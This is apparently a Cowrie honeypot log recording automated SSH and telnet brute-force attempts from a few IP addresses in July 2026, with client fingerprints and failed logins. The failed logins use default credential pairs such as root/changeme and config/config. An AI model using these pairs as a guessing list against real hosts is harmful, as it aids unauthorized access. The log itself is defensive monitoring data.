{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":33360,"dst_ip":"10.17.0.5","dst_port":22,"session":"20786e1c55e7","protocol":"ssh","message":"New connection: 103.82.20.28:33360 (10.17.0.5:22) [session: 20786e1c55e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:49.950060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:49.953431Z","src_ip":"103.82.20.28","session":"20786e1c55e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:50.013752Z","src_ip":"45.156.87.253","session":"e935d5bcae20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:50.216542Z","src_ip":"103.82.20.28","session":"20786e1c55e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"config","password":"config","message":"login attempt [config/config] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:50.257639Z","src_ip":"45.156.87.253","session":"e935d5bcae20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20041976","message":"login attempt [root/20041976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:51.007463Z","src_ip":"103.82.20.28","session":"20786e1c55e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:51.342248Z","src_ip":"45.156.87.253","session":"e935d5bcae20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:52.272658Z","src_ip":"103.82.20.28","session":"20786e1c55e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49996,"dst_ip":"10.17.0.5","dst_port":22,"session":"29f755dbd68d","protocol":"ssh","message":"New connection: 45.156.87.253:49996 (10.17.0.5:22) [session: 29f755dbd68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:53.255004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:53.258341Z","src_ip":"45.156.87.253","session":"29f755dbd68d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:53.338508Z","src_ip":"45.156.87.253","session":"29f755dbd68d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:53.697809Z","src_ip":"45.156.87.253","session":"29f755dbd68d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:54.780821Z","src_ip":"45.156.87.253","session":"29f755dbd68d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":50008,"dst_ip":"10.17.0.5","dst_port":22,"session":"b22f3d4a4639","protocol":"ssh","message":"New connection: 45.156.87.253:50008 (10.17.0.5:22) [session: b22f3d4a4639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:56.654102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:56.660395Z","src_ip":"45.156.87.253","session":"b22f3d4a4639","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:56.741390Z","src_ip":"45.156.87.253","session":"b22f3d4a4639","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"test","message":"login attempt [runner/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:56.985137Z","src_ip":"45.156.87.253","session":"b22f3d4a4639","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:58.083006Z","src_ip":"45.156.87.253","session":"b22f3d4a4639","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49234,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bf53302ee6b","protocol":"ssh","message":"New connection: 45.156.87.253:49234 (10.17.0.5:22) [session: 9bf53302ee6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:59.975529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:59:59.978942Z","src_ip":"45.156.87.253","session":"9bf53302ee6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:00.059093Z","src_ip":"45.156.87.253","session":"9bf53302ee6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:00.302093Z","src_ip":"45.156.87.253","session":"9bf53302ee6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:01.436401Z","src_ip":"45.156.87.253","session":"9bf53302ee6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49262,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff75eca74aeb","protocol":"ssh","message":"New connection: 45.156.87.253:49262 (10.17.0.5:22) [session: ff75eca74aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:03.311580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:03.317127Z","src_ip":"45.156.87.253","session":"ff75eca74aeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:03.425811Z","src_ip":"45.156.87.253","session":"ff75eca74aeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changeme","message":"login attempt [root/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:03.772962Z","src_ip":"45.156.87.253","session":"ff75eca74aeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:04.856789Z","src_ip":"45.156.87.253","session":"ff75eca74aeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49280,"dst_ip":"10.17.0.5","dst_port":22,"session":"612ec1775dab","protocol":"ssh","message":"New connection: 45.156.87.253:49280 (10.17.0.5:22) [session: 612ec1775dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:06.802086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:06.805993Z","src_ip":"45.156.87.253","session":"612ec1775dab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:06.886853Z","src_ip":"45.156.87.253","session":"612ec1775dab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"123","message":"login attempt [ts3/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:07.133157Z","src_ip":"45.156.87.253","session":"612ec1775dab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:08.217722Z","src_ip":"45.156.87.253","session":"612ec1775dab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.85898184776306,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:09.162206Z","src_ip":"115.160.92.142","session":"6fa2f331d8fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.160.92.142","src_port":44588,"dst_ip":"159.203.135.109","dst_port":23,"session":"fee18dc39b17","protocol":"telnet","message":"New connection: 115.160.92.142:44588 (159.203.135.109:23) [session: fee18dc39b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:09.351745Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52842,"dst_ip":"10.17.0.5","dst_port":22,"session":"2444138ffb25","protocol":"ssh","message":"New connection: 45.156.87.253:52842 (10.17.0.5:22) [session: 2444138ffb25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:10.156389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:10.161162Z","src_ip":"45.156.87.253","session":"2444138ffb25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:10.242246Z","src_ip":"45.156.87.253","session":"2444138ffb25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"\"??$","password":"#?<?;5)","message":"login attempt [\"??$/#?<?;5)] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:10.249041Z","src_ip":"115.160.92.142","session":"fee18dc39b17","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"12345","message":"login attempt [odoo17/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:10.492229Z","src_ip":"45.156.87.253","session":"2444138ffb25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:11.227128Z","src_ip":"115.160.92.142","session":"fee18dc39b17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:11.575764Z","src_ip":"45.156.87.253","session":"2444138ffb25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:12.126906Z","src_ip":"115.160.92.142","session":"fee18dc39b17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":52854,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c6f529fd4f7","protocol":"ssh","message":"New connection: 45.156.87.253:52854 (10.17.0.5:22) [session: 6c6f529fd4f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:13.693920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:00:13.697951Z","src_ip":"45.156.87.253","session":"6c6f529fd4f7","protocol":"ssh"}
